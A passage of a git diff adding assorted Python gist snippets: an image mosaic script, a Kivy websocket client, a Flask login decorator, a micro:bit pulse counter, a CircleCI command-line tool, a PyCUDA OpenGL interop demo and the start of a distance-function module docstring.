+		org_w = org_im.size[0]
+		org_h = org_im.size[1]
+		org_tile_size = floor(org_w/tiles_numbers_width)
+		tiles_numbers_height = floor (org_h/org_tile_size)
+		act_w = tiles_numbers_width*org_tile_size
+		act_h = tiles_numbers_height*org_tile_size
+		w_crop = (org_w - act_w)/2
+		h_crop = (org_h - act_h)/2
+		croped_org_im = org_im.crop((w_crop, h_crop, org_w-w_crop, org_h - h_crop))
+		index_table = []
+		for x in range(tiles_numbers_width):
+			print(x)
+			temp_array = []
+			for y in range(tiles_numbers_height):
+				temp_img = croped_org_im.crop((x*org_tile_size, y*org_tile_size,(x+1)*org_tile_size, (y+1)*org_tile_size))
+				temp_rgb = average(temp_img)
+				temp_array.append(self._find_tile_index_(temp_rgb))
+			index_table.append(temp_array)
+		return index_table
+
+def compose_image(index_table, src_path): #index_table, [[per_row], per_column]
+	if len(index_table) != tiles_numbers_width or len(index_table[0]) <= 0:
+		print("Issue with the index_table")
+		return
+	print("start to make mosaic picture")
+	img = Image.new("RGB", (size1*len(index_table), size1*len(index_table[0])))
+	for x in range(len(index_table)):
+		for y in range(len(index_table[0])):
+			temp_index = index_table[x][y]
+			temp_image = Image.open(src_path+"/thumbnail/"+str(temp_index)+".thumbnail")
+			img.paste(temp_image, (x*size1, y*size1))
+	img.save(OUTFILE,"JPEG")
+
+if __name__ == '__main__':
+	if len(sys.argv) <3:
+		print ('Usage: %s <image> <tiles directory>\r' % (sys.argv[0],))
+	else: #sys.argv[1] for image, sys.argv[2] for tiles source
+		compose_image(Original_Image(sys.argv[1],Tiles(sys.argv[2]).process_tiles()).generate_index_matrix(), sys.argv[2])
+		
\ No newline at end of file
diff --git a/hard-gists/2f1b9a255993bf9b2629/._snippet.py b/hard-gists/2f1b9a255993bf9b2629/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2f1b9a255993bf9b2629/._snippet.py differ
diff --git a/hard-gists/2f1b9a255993bf9b2629/snippet.py b/hard-gists/2f1b9a255993bf9b2629/snippet.py
new file mode 100644
index 00000000..f79d4df1
--- /dev/null
+++ b/hard-gists/2f1b9a255993bf9b2629/snippet.py
@@ -0,0 +1,9 @@
+import PIL.Image
+from cStringIO import StringIO
+import IPython.display
+import numpy as np
+def showarray(a, fmt='png'):
+    a = np.uint8(a)
+    f = StringIO()
+    PIL.Image.fromarray(a).save(f, fmt)
+    IPython.display.display(IPython.display.Image(data=f.getvalue()))
\ No newline at end of file
diff --git a/hard-gists/2f8370ee83ab074f5b5e/._snippet.py b/hard-gists/2f8370ee83ab074f5b5e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2f8370ee83ab074f5b5e/._snippet.py differ
diff --git a/hard-gists/2f8370ee83ab074f5b5e/snippet.py b/hard-gists/2f8370ee83ab074f5b5e/snippet.py
new file mode 100644
index 00000000..0cec3743
--- /dev/null
+++ b/hard-gists/2f8370ee83ab074f5b5e/snippet.py
@@ -0,0 +1,101 @@
+# As the Kivy docs ( http://kivy.org/docs/guide/other-frameworks.html ) state:
+# install_twisted_rector must be called before importing and using the reactor.
+from kivy.support import install_twisted_reactor
+install_twisted_reactor()
+
+from autobahn.twisted.websocket import WebSocketClientProtocol, \
+                                       WebSocketClientFactory
+
+
+class MyKivyClientProtocol(WebSocketClientProtocol):
+
+    def onOpen(self):
+        self.factory._app.print_message('WebSocket connection open.')
+        self.factory._proto = self
+
+    def onMessage(self, payload, isBinary):
+        if isBinary:
+            self.factory._app.print_message("Binary message received: {0} bytes".format(len(payload)))
+        else:
+            self.factory._app.print_message("Got from server: {}".format(payload.decode('utf8')))
+
+    def onClose(self, wasClean, code, reason):
+        self.factory._app.print_message("WebSocket connection closed: {0}".format(reason))
+        self.factory._proto = None
+
+
+class MyKivyClientFactory(WebSocketClientFactory):
+    protocol = MyKivyClientProtocol
+
+    def __init__(self, url, app):
+        WebSocketClientFactory.__init__(self, url)
+        # While the Kivy app needs a reference to the factory,
+        # the factory needs a reference to the Kivy app.
+        self._app = app
+        # Not sure why/whether _proto is needed?
+        self._proto = None
+
+
+from kivy.app import App
+from kivy.uix.textinput import TextInput
+from kivy.uix.label import Label
+from kivy.uix.boxlayout import BoxLayout
+from twisted.internet import reactor
+
+class KivyClientApp(App):
+
+    def build(self):
+        root = self.setup_gui()
+        self.connect_to_server()
+        return root
+
+    def setup_gui(self):
+        """
+        Create a vertical oriented boxlayout that contains two widgets:
+        1) a label in which we show text sent/received
+        2) a textinput where you can enter text
+           to the server.
+        """
+        self.label = Label(text='Connecting...\n')
+        # Just 1 line of text; use 10% of the parent's height.
+        self.textbox = TextInput(size_hint_y=.1, multiline=False)
+        # When the 'Enter' key is pressed, call the method send_message
+        # that is defined below.
+        self.textbox.bind(on_text_validate=self.send_message)
+        # Create the root widget ...
+        self.layout = BoxLayout(orientation='vertical')
+        # and add the two child widgets.
+        self.layout.add_widget(self.label)
+        self.layout.add_widget(self.textbox)
+        return self.layout
+
+    def connect_to_server(self):
+        """
+        Connect to the echoing websocket server.
+        """
+        # The Kivy app needs a reference to the factory object.
+        self._factory = MyKivyClientFactory("ws://localhost:9000", self)
+        reactor.connectTCP('127.0.0.1', 9000, self._factory)
+
+    def send_message(self, *args):
+        """
+        Send the text entered that was entered in the texbox widget.
+        """
+        msg = self.textbox.text
+        proto = self._factory._proto
+        if msg and proto:
+            proto.sendMessage(msg)
+
+            self.print_message('Sent to server: {}'.format(self.textbox.text))
+            self.textbox.text = ""
+
+    def print_message(self, msg):
+        self.label.text += msg + '\n'
+
+if __name__ == '__main__':
+
+    import sys
+    from twisted.python import log
+    log.startLogging(sys.stdout)
+
+    KivyClientApp().run()
\ No newline at end of file
diff --git a/hard-gists/2f8f55987ccc224e2342/._snippet.py b/hard-gists/2f8f55987ccc224e2342/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2f8f55987ccc224e2342/._snippet.py differ
diff --git a/hard-gists/2f8f55987ccc224e2342/snippet.py b/hard-gists/2f8f55987ccc224e2342/snippet.py
new file mode 100644
index 00000000..44d3f0cb
--- /dev/null
+++ b/hard-gists/2f8f55987ccc224e2342/snippet.py
@@ -0,0 +1,21 @@
+# import dependencies
+from functools import wraps
+from google.appengine.api import users
+from flask import redirect, request
+
+USERS = ["any@gmail.com", "any@googleapps.com"]
+
+
+#Set's the login to Google Users Service
+def login_required(func):
+    @wraps(func)
+    def decorated_view(*args, **kwargs):
+        if not users.get_current_user():
+            return redirect(users.create_login_url(request.url))
+        else:
+            user = users.get_current_user()
+            if user.email() in USERS:
+                return func(*args, **kwargs)
+            else:
+                return 'Trampak iten ?'
+    return decorated_view
diff --git a/hard-gists/2f904cb32be20d808481e04f5dd7fe0c/._snippet.py b/hard-gists/2f904cb32be20d808481e04f5dd7fe0c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2f904cb32be20d808481e04f5dd7fe0c/._snippet.py differ
diff --git a/hard-gists/2f904cb32be20d808481e04f5dd7fe0c/snippet.py b/hard-gists/2f904cb32be20d808481e04f5dd7fe0c/snippet.py
new file mode 100644
index 00000000..4e627eb4
--- /dev/null
+++ b/hard-gists/2f904cb32be20d808481e04f5dd7fe0c/snippet.py
@@ -0,0 +1,33 @@
+from microbit import *
+
+analog_0 = 0
+counter = 0
+previous_running_time = 0    
+target = 20000              
+pulse = 0                    
+remind = 0                  
+
+while True:
+    
+    current_running_time = running_time()
+    analog_0 = pin0.read_analog()
+    
+    
+    if (remind == 0):
+        if (analog_0 >= 920):
+            display.show(Image.HEART)
+            counter = counter + 1
+            remind = 1
+    
+    if (remind == 1):
+        if (analog_0 < 920):
+            display.clear()
+            remind = 0
+    
+    if ((current_running_time - previous_running_time) >= target):
+        
+        counter = counter * 3
+        display.scroll("%d bpm" % (counter), delay=100,)
+                
+        counter = 0
+        previous_running_time = running_time()
\ No newline at end of file
diff --git a/hard-gists/2fe1c16a7cc27ef01c1f/._snippet.py b/hard-gists/2fe1c16a7cc27ef01c1f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2fe1c16a7cc27ef01c1f/._snippet.py differ
diff --git a/hard-gists/2fe1c16a7cc27ef01c1f/snippet.py b/hard-gists/2fe1c16a7cc27ef01c1f/snippet.py
new file mode 100644
index 00000000..e65dd499
--- /dev/null
+++ b/hard-gists/2fe1c16a7cc27ef01c1f/snippet.py
@@ -0,0 +1,214 @@
+#!/usr/bin/env python
+import os
+import pprint
+import subprocess
+import sys
+from optparse import make_option
+from urllib import quote_plus
+from urlparse import urljoin
+
+import dateutil.parser
+import requests
+from django.conf import settings
+from django.core.management import BaseCommand, CommandError
+from six import python_2_unicode_compatible
+
+ORGANIZATION_NAME = 'org'
+PROJECT_NAME = 'project'
+
+
+class Command(BaseCommand):
+
+    help = 'CircleCI Command Line Interface'
+
+    option_list = BaseCommand.option_list + (
+        make_option('--ssh', action='store_true', default=False),
+        make_option('--cancel', action='store_true', default=False),
+        make_option('--artifacts', action='store_true', default=False),
+        make_option('--me', action='store_true', default=False),
+        make_option('--cancel-redundant-builds', action='store_true'),
+        make_option('--start'),
+    )
+
+    def __init__(self):
+        super(Command, self).__init__()
+        token = getattr(settings, 'CIRCLECI_TOKEN', None) or os.environ.get('CIRCLECI_TOKEN')
+        if not token:
+            raise CommandError('You need to specify a circleci access token either in your settings or '
+                               'in your environment')
+        self.cci = CircleCi(token)
+
+    def handle(self, build_id=None, *args, **options):
+
+        # Some commands don't require a build
+
+        if options['me']:
+            pprint.pprint(self.cci.me)
+            return 0
+
+        elif options['cancel_redundant_builds']:
+            self.cancel_redundant_builds()
+            return 0
+
+        elif options['start']:
+            self.start_build(options['start'])
+            return 0
+
+        # From here on, we need a build number to operate
+
+        if not build_id:
+            error('Please specify a build number.')
+
+        build = self.cci.build(build_id)
+
+        if options['ssh']:
+            build_dict = build.data
+            if not build_dict['ssh_enabled']:
+                error('This build does not have SSH enabled.')
+            node = build_dict['node'][0]
+            ip_addr = node['public_ip_addr']
+            port = node['port']
+            cmd = ['ssh', 'ubuntu@{}'.format(ip_addr),
+                   '-p', str(port),
+                   '-o', 'UserKnownHostsFile /dev/null',
+                   '-o', 'StrictHostKeyChecking=no']
+            print('Running: {}'.format(cmd))
+            p = subprocess.Popen(cmd, stdout=sys.stdout, stdin=sys.stdin, stderr=sys.stderr)
+            p.communicate()
+        elif options['cancel']:
+            build.cancel()
+        elif options['artifacts']:
+            artifacts = build.artifacts
+            for a in artifacts:
+                print(a)
+            print('{} artifact(s).'.format(len(artifacts)))
+        else:
+            pprint.pprint(self.cci.build(build_id))
+
+    def cancel_redundant_builds(self):
+        active_builds = {}
+        for build in self.cci.builds:
+            if not build.active:
+                continue
+            if 'branch' not in build.data:
+                print('Got weird build #{} without a branch...?'.format(build.build_num))
+                continue
+            if not build.queued_at:
+                print('Looks like build #{} was not queued...?'.format(build.build_num))
+                pprint.pprint(build)
+                continue
+            branch = build.data['branch']
+            active_builds.setdefault(branch, []).append((build.queued_at, build))
+
+        for branch, builds in active_builds.iteritems():
+            if len(builds) > 1:
+                builds = sorted(builds)
+                for queued_at, build in builds[:-1]:
+                    build.cancel()
+
+    def start_build(self, branch):
+        self.cci.post_project('tree/{}'.format(quote_plus(branch)))
+
+
+class CircleCi(object):
+
+    BASE_URL = 'https://circleci.com/api/v1/'
+
+    def __init__(self, access_token):
+        self.token = access_token
+
+    @property
+    def project_base_path(self):
+        return 'project/{}/{}/'.format(ORGANIZATION_NAME, PROJECT_NAME)
+
+    def request(self, method, path, **kwargs):
+        kwargs.setdefault('params', {}).update(**{'circle-token': self.token})
+        kwargs.setdefault('headers', {}).update(**{'Accept': 'application/json'})
+        url = urljoin(self.BASE_URL, path)
+        print('\x1b[1m{} {}\x1b[0m'.format(method, url))
+        r = requests.request(method, url, **kwargs)
+        r.raise_for_status()
+        return r
+
+    def get(self, *args, **kwargs):
+        r = self.request('GET', *args, **kwargs)
+        return r.json()
+
+    def get_project(self, path='', *args, **kwargs):
+        path = urljoin(self.project_base_path, path)
+        return self.get(path, *args, **kwargs)
+
+    def post(self, *args, **kwargs):
+        return self.request('POST', *args, **kwargs)
+
+    def post_project(self, path, *args, **kwargs):
+        path = urljoin(self.project_base_path, path)
+        return self.post(path, *args, **kwargs)
+
+    @property
+    def builds(self):
+        builds_data = self.get_project()
+        return [CircleCiBuild(self, data=build) for build in builds_data]
+
+    @property
+    def me(self):
+        return self.get('me')
+
+    def build(self, build_num):
+        return CircleCiBuild(self, build_num)
+
+
+@python_2_unicode_compatible
+class CircleCiBuild(object):
+
+    def __init__(self, api, build_num=None, data=None):
+        self.api = api
+        self.build_num = int(build_num or data['build_num'])
+        self._data = data or None
+
+    def __str__(self):
+        commits = self.data.get('all_commit_details')
+        subject = commits[-1]['subject'] if commits and len(commits) > 0 else '(No subject)'
+        return u'#{} {} {} {} {}'.format(self.build_num, self.queued_at, self.data['status'], self.data['branch'], subject)
+
+    def __repr__(self):
+        self_str = unicode(self).encode('ascii', 'backslashreplace')
+        return '<{}: {}>'.format(self.__class__.__name__, self_str)
+
+    def cancel(self):
+        print('Canceling build: {}'.format(self))
+        return self.api.post_project('{}/cancel'.format(self.build_num))
+
+    @property
+    def queued_at(self):
+        queued_at = self.data.get('usage_queued_at')
+        return queued_at and dateutil.parser.parse(queued_at)
+
+    @property
+    def data(self):
+        if self._data is None:
+            self._data = self.api.get_project('{}'.format(self.build_num))
+        return self._data
+
+    @property
+    def artifacts(self):
+        artifacts = self.api.get_project('{}/artifacts'.format(self.build_num))
+        return [a['url'] for a in artifacts]
+
+    @property
+    def status(self):
+        return self.data['status']
+
+    @property
+    def active(self):
+        if self.status in ['success', 'timedout', 'fixed', 'canceled', 'failed', 'not_run', 'retried', 'no_tests']:
+            return False
+        if self.status in ['not_running', 'scheduled', 'running', 'queued']:
+            return True
+
+        raise CommandError('Unknown CircleCI status: {!r}'.format(self.status))
+
+
+def error(s, *args, **kwargs):
+    print(s.format(*args, **kwargs))
+    sys.exit(1)
diff --git a/hard-gists/2ff89e40721d1f1a007449f02aee3990/._snippet.py b/hard-gists/2ff89e40721d1f1a007449f02aee3990/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2ff89e40721d1f1a007449f02aee3990/._snippet.py differ
diff --git a/hard-gists/2ff89e40721d1f1a007449f02aee3990/snippet.py b/hard-gists/2ff89e40721d1f1a007449f02aee3990/snippet.py
new file mode 100644
index 00000000..bf906ecb
--- /dev/null
+++ b/hard-gists/2ff89e40721d1f1a007449f02aee3990/snippet.py
@@ -0,0 +1,342 @@
+# GL interoperability example, by Peter Berrington.
+# Draws a rotating teapot, using cuda to invert the RGB value
+# each frame
+
+from OpenGL.GL import *
+from OpenGL.GLUT import *
+from OpenGL.GLU import *
+from OpenGL.GL.ARB.vertex_buffer_object import *
+from OpenGL.GL.ARB.pixel_buffer_object import *
+
+
+import numpy, sys, time
+import pycuda.driver as cuda_driver
+import pycuda.gl as cuda_gl
+from pycuda.compiler import SourceModule
+
+from numba import cuda as nbcuda
+import ctypes
+
+
+#this is all munged together from the CUDA SDK postprocessGL example.
+
+initial_size = 512,512
+current_size = initial_size
+animate = True
+enable_cuda = True
+window = None     # Number of the glut window.
+time_of_last_draw = 0.0
+time_of_last_titleupdate = 0.0
+frames_per_second = 0.0
+frame_counter = 0
+output_texture = None # pointer to offscreen render target
+(source_pbo, dest_pbo, cuda_module, invert,
+ pycuda_source_pbo, pycuda_dest_pbo) = [None]*6
+heading,pitch,bank = [0.0]*3
+
+
+class ExternalMemory(object):
+    """
+    Provide an externally managed memory.
+
+    Interface requirement: __cuda_memory__, device_ctypes_pointer, _cuda_memize_
+    """
+    __cuda_memory__ = True
+
+    def __init__(self, ptr, size):
+        self.device_ctypes_pointer = ctypes.c_void_p(ptr)
+        self._cuda_memsize_ = size
+
+
+def create_PBOs(w,h):
+    global source_pbo, dest_pbo, pycuda_source_pbo, pycuda_dest_pbo
+    num_texels = w*h
+    data = numpy.zeros((num_texels,4),numpy.uint8)
+    source_pbo = glGenBuffers(1)
+    glBindBuffer(GL_ARRAY_BUFFER, source_pbo)
+    glBufferData(GL_ARRAY_BUFFER, data, GL_DYNAMIC_DRAW)
+    glBindBuffer(GL_ARRAY_BUFFER, 0)
+    pycuda_source_pbo = cuda_gl.BufferObject(long(source_pbo))
+    dest_pbo = glGenBuffers(1)
+    glBindBuffer(GL_ARRAY_BUFFER, dest_pbo)
+    glBufferData(GL_ARRAY_BUFFER, data, GL_DYNAMIC_DRAW)
+    glBindBuffer(GL_ARRAY_BUFFER, 0)
+    pycuda_dest_pbo = cuda_gl.BufferObject(long(dest_pbo))
+
+def destroy_PBOs():
+    global source_pbo, dest_pbo, pycuda_source_pbo, pycuda_dest_pbo
+    for pbo in [source_pbo, dest_pbo]:
+        glBindBuffer(GL_ARRAY_BUFFER, long(pbo))
+        glDeleteBuffers(1, long(pbo));
+        glBindBuffer(GL_ARRAY_BUFFER, 0)
+    source_pbo,dest_pbo,pycuda_source_pbo,pycuda_dest_pbo = [None]*4
+
+def create_texture(w,h):
+    global output_texture
+    output_texture = glGenTextures(1)
+    glBindTexture(GL_TEXTURE_2D, output_texture)
+    # set basic parameters
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE)
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE)
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST)
+    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST)
+    # buffer data
+    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA,
+                 w, h, 0, GL_RGBA, GL_UNSIGNED_BYTE, None)
+
+def destroy_texture():
+    global output_texture
+    glDeleteTextures(output_texture);
+    output_texture = None
+
+def init_gl():
+    Width, Height = current_size
+    glClearColor(0.1, 0.1, 0.5, 1.0)
+    glDisable(GL_DEPTH_TEST)
+    glViewport(0, 0, Width, Height)
+    glMatrixMode(GL_PROJECTION);
+    glLoadIdentity();
+    gluPerspective(60.0, Width/float(Height), 0.1, 10.0)
+    glPolygonMode(GL_FRONT_AND_BACK, GL_FILL)
+    glEnable(GL_LIGHT0)
+    red   = ( 1.0, 0.1, 0.1, 1.0 )
+    white = ( 1.0, 1.0, 1.0, 1.0 )
+    glMaterialfv(GL_FRONT_AND_BACK, GL_DIFFUSE,  red  )
+    glMaterialfv(GL_FRONT_AND_BACK, GL_SPECULAR, white)
+    glMaterialf( GL_FRONT_AND_BACK, GL_SHININESS, 60.0)
+
+def resize(Width, Height):
+    global current_size
+    current_size = Width, Height
+    glViewport(0, 0, Width, Height)        # Reset The Current Viewport And Perspective Transformation
+    glMatrixMode(GL_PROJECTION)
+    glLoadIdentity()
+    gluPerspective(60.0, Width/float(Height), 0.1, 10.0)
+
+def do_tick():
+    global time_of_last_titleupdate, frame_counter, frames_per_second
+    if ((time.clock () * 1000.0) - time_of_last_titleupdate >= 1000.):
+        frames_per_second = frame_counter                   # Save The FPS
+        frame_counter = 0  # Reset The FPS Counter
+        szTitle = "%d FPS" % (frames_per_second )
+        glutSetWindowTitle ( szTitle )
+        time_of_last_titleupdate = time.clock () * 1000.0
+    frame_counter += 1
+
+# The function called whenever a key is pressed. Note the use of Python tuples to pass in: (key, x, y)
+def keyPressed(*args):
+    global animate, enable_cuda
+    # If escape is pressed, kill everything.
+    if args[0] == '\033':
+        print ('Closing..')
+        destroy_PBOs()
+        destroy_texture()
+        exit()
+    elif args[0] == 'a':
+        print ('toggling animation')
+        animate = not animate
+    elif args[0] == 'e':
+        print ('toggling cuda')
+        enable_cuda = not enable_cuda
+
+def idle():
+    global heading, pitch, bank
+    if animate:
+        heading += 0.2
+        pitch   += 0.6
+        bank    += 1.0
+
+    glutPostRedisplay()
+
+def display():
+    try:
+        render_scene()
+        if enable_cuda:
+            process_image()
+            display_image()
+        glutSwapBuffers()
+    except:
+        from traceback import print_exc
+        print_exc()
+        from os import _exit
+        _exit(0)
+
+def process(width, height):
+    """ Use PyCuda """
+    grid_dimensions   = (width//16,height//16)
+
+    source_mapping = pycuda_source_pbo.map()
+    dest_mapping   = pycuda_dest_pbo.map()
+
+    # invert.prepared_call(grid_dimensions, (16, 16, 1),
+    #         source_mapping.device_ptr(),
+    #         dest_mapping.device_ptr())
+
+    shape = width * height * 4
+
+    # get external memory for numba.cuda
+    source_ptr = ExternalMemory(source_mapping.device_ptr(), shape)
+    dest_ptr = ExternalMemory(dest_mapping.device_ptr(), shape)
+
+    # make them a device arrays
+    source_array = nbcuda.devicearray.DeviceNDArray(shape=shape, strides=(1,),
+                                                    dtype=numpy.dtype('uint8'),
+                                                    gpu_data=source_ptr)
+
+    dest_array = nbcuda.devicearray.DeviceNDArray(shape=shape, strides=(1,),
+                                                  dtype=numpy.dtype('uint8'),
+                                                  gpu_data=dest_ptr)
+
+    # call our kernel
+    invert[grid_dimensions, (16, 16)](source_array, dest_array)
+
+    cuda_driver.Context.synchronize()
+
+    source_mapping.unmap()
+    dest_mapping.unmap()
+
+def process_image():
+    """ copy image and process using CUDA """
+    global pycuda_source_pbo,source_pbo,current_size, dest_pbo
+    image_width, image_height = current_size
+    assert source_pbo is not None
+
+    # tell cuda we are going to get into these buffers
+    pycuda_source_pbo.unregister()
+
+    # activate destination buffer
+    glBindBufferARB(GL_PIXEL_PACK_BUFFER_ARB, long(source_pbo))
+
+    # read data into pbo. note: use BGRA format for optimal performance
+    glReadPixels(
+             0,                  #start x
+             0,                  #start y
+             image_width,        #end   x
+             image_height,       #end   y
+             GL_BGRA,            #format
+             GL_UNSIGNED_BYTE,   #output type
+             ctypes.c_void_p(0))
+
+    pycuda_source_pbo = cuda_gl.BufferObject(long(source_pbo))
+
+    # run the Cuda kernel
+    process(image_width, image_height)
+    # blit convolved texture onto the screen
+    # download texture from PBO
+    glBindBuffer(GL_PIXEL_UNPACK_BUFFER_ARB, long(dest_pbo))
+    glBindTexture(GL_TEXTURE_2D, output_texture)
+
+    glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0,
+                    image_width, image_height,
+                    GL_BGRA, GL_UNSIGNED_BYTE, ctypes.c_void_p(0))
+
+def display_image():
+    """ render a screen sized quad """
+    glDisable(GL_DEPTH_TEST)
+    glDisable(GL_LIGHTING)
+    glEnable(GL_TEXTURE_2D)
+    glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_REPLACE)
+    glMatrixMode(GL_PROJECTION)
+    glPushMatrix()
+    glLoadIdentity()
+    glOrtho(-1.0, 1.0, -1.0, 1.0, -1.0, 1.0)
+    glMatrixMode( GL_MODELVIEW)
+    glLoadIdentity()
+    glViewport(0, 0, current_size[0], current_size[1])
+    glBegin(GL_QUADS)
+    glTexCoord2f(0.0, 0.0)
+    glVertex3f(-1.0, -1.0, 0.5)
+    glTexCoord2f(1.0, 0.0)
+    glVertex3f(1.0, -1.0, 0.5)
+    glTexCoord2f(1.0, 1.0)
+    glVertex3f(1.0, 1.0, 0.5)
+    glTexCoord2f(0.0, 1.0)
+    glVertex3f(-1.0, 1.0, 0.5)
+    glEnd()
+    glMatrixMode(GL_PROJECTION)
+    glPopMatrix()
+    glDisable(GL_TEXTURE_2D)
+    glBindBuffer(GL_PIXEL_PACK_BUFFER_ARB, 0)
+    glBindBuffer(GL_PIXEL_UNPACK_BUFFER_ARB, 0)
+
+
+def render_scene():
+    glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)# Clear Screen And Depth Buffer
+    glMatrixMode(GL_MODELVIEW)
+    glLoadIdentity ()      # Reset The Modelview Matrix
+    glTranslatef(0.0, 0.0, -3.0);
+    glRotatef(heading, 1.0, 0.0, 0.0)
+    glRotatef(pitch  , 0.0, 1.0, 0.0)
+    glRotatef(bank   , 0.0, 0.0, 1.0)
+    glViewport(0, 0, current_size[0],current_size[1])
+    glEnable(GL_LIGHTING)
+    glEnable(GL_DEPTH_TEST)
+    glDepthFunc(GL_LESS)
+    glutSolidTeapot(1.0)
+    do_tick()#just for fps display..
+    return True
+
+def main():
+    global window, cuda_module, cuda_gl, cuda_driver, invert
+    glutInit(sys.argv)
+    glutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE | GLUT_ALPHA | GLUT_DEPTH)
+    glutInitWindowSize(*initial_size)
+    glutInitWindowPosition(0, 0)
+    window = glutCreateWindow("PyCuda GL Interop Example")
+    glutDisplayFunc(display)
+    glutIdleFunc(idle)
+    glutReshapeFunc(resize)
+    glutKeyboardFunc(keyPressed)
+    glutSpecialFunc(keyPressed)
+    init_gl()
+
+    # create texture for blitting to screen
+    create_texture(*initial_size)
+
+    #setup pycuda gl interop
+    import pycuda.gl.autoinit
+    import pycuda.gl
+    cuda_gl = pycuda.gl
+    cuda_driver = pycuda.driver
+
+    # cuda_module = SourceModule("""
+    # __global__ void invert(unsigned char *source, unsigned char *dest)
+    # {
+    #   int block_num        = blockIdx.x + blockIdx.y * gridDim.x;
+    #   int thread_num       = threadIdx.y * blockDim.x + threadIdx.x;
+    #   int threads_in_block = blockDim.x * blockDim.y;
+    #   //Since the image is RGBA we multiply the index 4.
+    #   //We'll only use the first 3 (RGB) channels though
+    #   int idx              = 4 * (threads_in_block * block_num + thread_num);
+    #   dest[idx  ] = 255 - source[idx  ];
+    #   dest[idx+1] = 255 - source[idx+1];
+    #   dest[idx+2] = 255 - source[idx+2];
+    # }
+    # """)
+    # invert = cuda_module.get_function("invert")
+    # # The argument "PP" indicates that the invert function will take two PBOs as arguments
+    # invert.prepare("PP")
+
+    # force compilation here
+    @nbcuda.jit("(uint8[::1], uint8[::1])")
+    def invert(source, dest):
+        block_num = nbcuda.blockIdx.x + nbcuda.blockIdx.y * nbcuda.gridDim.x
+        thread_num = nbcuda.threadIdx.y * nbcuda.blockDim.x + nbcuda.threadIdx.x
+        threads_in_block = nbcuda.blockDim.x * nbcuda.blockDim.y
+        # Since the image is RGBA we multiply the index 4.
+        # We'll only use the first 3 (RGB) channels though
+        idx = 4 * (threads_in_block * block_num + thread_num)
+        dest[idx] = 255 - source[idx]
+        dest[idx + 1] = 255 - source[idx + 1]
+        dest[idx + 2] = 255 - source[idx + 2]
+
+    # create source and destination pixel buffer objects for processing
+    create_PBOs(*initial_size)
+
+    glutMainLoop()
+
+# Print message to console, and kick off the main to get it rolling.
+if __name__ == "__main__":
+    print("Hit ESC key to quit, 'a' to toggle animation, and 'e' to toggle cuda")
+    main()
+
diff --git a/hard-gists/3001099/._snippet.py b/hard-gists/3001099/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3001099/._snippet.py differ
diff --git a/hard-gists/3001099/snippet.py b/hard-gists/3001099/snippet.py
new file mode 100644
index 00000000..73c235d0
--- /dev/null
+++ b/hard-gists/3001099/snippet.py
@@ -0,0 +1,1188 @@
+"""
+=====================================================
+Distance computations for masked arrays (:mod:`scipy.spatial.mdistance`)
+=====================================================
+
+.. sectionauthor:: Damian Eads, Jason Merkin
+
+Function Reference
+------------------
+
+Distance matrix computation from a collection of raw observation vectors
+stored in a rectangular array.
+
+.. autosummary::
+   :toctree: generated/
+
+   mpdist   -- pairwise distances between observation vectors.
+   squareform -- convert distance matrix to a condensed one and vice versa
+
+Predicates for checking the validity of distance matrices, both
+condensed and redundant. Also contained in this module are functions
+for computing the number of observations in a distance matrix.
+
+.. autosummary::
+   :toctree: generated/
+
+   is_valid_dm -- checks for a valid distance matrix
+   is_valid_y  -- checks for a valid condensed distance matrix
+   num_obs_dm  -- # of observations in a distance matrix
+   num_obs_y   -- # of observations in a condensed distance matrix
+
+Distance functions between two vectors ``u`` and ``v``. Computing
+distances over a large collection of vectors is inefficient for these
+functions. Use ``mpdist`` for this purpose.
+
+.. autosummary::
+   :toctree: generated/
+
+   braycurtis       -- the Bray-Curtis distance.
+   canberra         -- the Canberra distance.
+   chebyshev        -- the Chebyshev distance.
+   cityblock        -- the Manhattan distance.
+   correlation      -- the Correlation distance.
+   cosine           -- the Cosine distance.
+   dice             -- the Dice dissimilarity (boolean).
+   euclidean        -- the Euclidean distance.
+   hamming          -- the Hamming distance (boolean).
+   jaccard          -- the Jaccard distance (boolean).
+   kulsinski        -- the Kulsinski distance (boolean).
+   mahalanobis      -- the Mahalanobis distance.
+   matching         -- the matching dissimilarity (boolean).
+   minkowski        -- the Minkowski distance.
+   rogerstanimoto   -- the Rogers-Tanimoto dissimilarity (boolean).
+   russellrao       -- the Russell-Rao dissimilarity (boolean).
+   seuclidean       -- the normalized Euclidean distance.
+   sokalmichener    -- the Sokal-Michener dissimilarity (boolean).
+   sokalsneath      -- the Sokal-Sneath dissimilarity (boolean).
+   sqeuclidean      -- the squared Euclidean distance.
+   yule             -- the Yule dissimilarity (boolean).
+
+
+References
+----------
+
+.. [Sta07] "Statistics toolbox." API Reference Documentation. The MathWorks.
+   http://www.mathworks.com/access/helpdesk/help/toolbox/stats/.
+   Accessed October 1, 2007.
+
+.. [Mti07] "Hierarchical clustering." API Reference Documentation.
+   The Wolfram Research, Inc.
+   http://reference.wolfram.com/mathematica/HierarchicalClustering/tutorial/HierarchicalClustering.html.
+   Accessed October 1, 2007.
+
+.. [Gow69] Gower, JC and Ross, GJS. "Minimum Spanning Trees and Single Linkage
+   Cluster Analysis." Applied Statistics. 18(1): pp. 54--64. 1969.
+
+.. [War63] Ward Jr, JH. "Hierarchical grouping to optimize an objective
+   function." Journal of the American Statistical Association. 58(301):
+   pp. 236--44. 1963.
+
